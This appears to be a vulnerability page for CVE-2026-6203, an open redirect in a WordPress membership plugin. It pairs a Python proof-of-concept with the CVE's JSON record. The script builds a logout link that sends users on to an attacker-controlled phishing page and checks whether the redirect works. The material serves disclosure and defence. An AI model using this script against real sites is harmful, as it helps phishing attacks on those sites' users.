CVE-2026-6203

# PoC for CVE-2026-6203 Open Redirect # The vulnerability exists in the 'redirect_to_on_logout' parameter. # Replace 'target-site.com' with the actual WordPress site URL. import requests target_url = "http://target-site.com/" malicious_url = "http://attacker-controlled-site.com/phishing.html" # Construct the malicious logout URL # The endpoint usually triggers the logout logic with the redirect parameter exploit_url = f"{target_url}?redirect_to_on_logout={malicious_url}" print(f"Sending request to: {exploit_url}") try: response = requests.get(exploit_url, allow_redirects=False) # Check if the response contains a Location header pointing to the malicious site if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location') print(f"Redirect detected to: {location}") if malicious_url in location: print("Vulnerability confirmed: Open Redirect successful.") else: print("Redirect occurred, but not to the expected malicious URL.") else: print(f"Status code: {response.status_code}. No immediate redirect observed in headers.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-6203", "sourceIdentifier": "[email protected]", "published": "2026-04-13T23:16:28.110", "lastModified": "2026-04-22T20:23:16.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The User Registration & Membership plugin for WordPress is vulnerable to Open Redirect in versions up to and including 5.1.4. This is due to insufficient validation of user-supplied URLs passed via the 'redirect_to_on_logout' GET parameter before redirecting users. The `redirect_to_on_logout` GET parameter is passed directly to WordPress's `wp_redirect()` function instead of the domain-restricted `wp_safe_redirect()`. While `esc_url_raw()` is applied to sanitize malformed URLs, it does not restrict the redirect destination to the local domain, allowing an attacker to craft a specially formed link that redirects users to potentially malicious external URLs after logout, which could be used to facilitate phishing attacks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/user-registration/tags/5.1.4/includes/functions-ur-template.php#L39", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/user-registration/trunk/includes/functions-ur-template.php#L39", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/020bed37-9544-49b7-941d-3b7f509fdfdf?source=cve", "source": "[email protected]"}]}}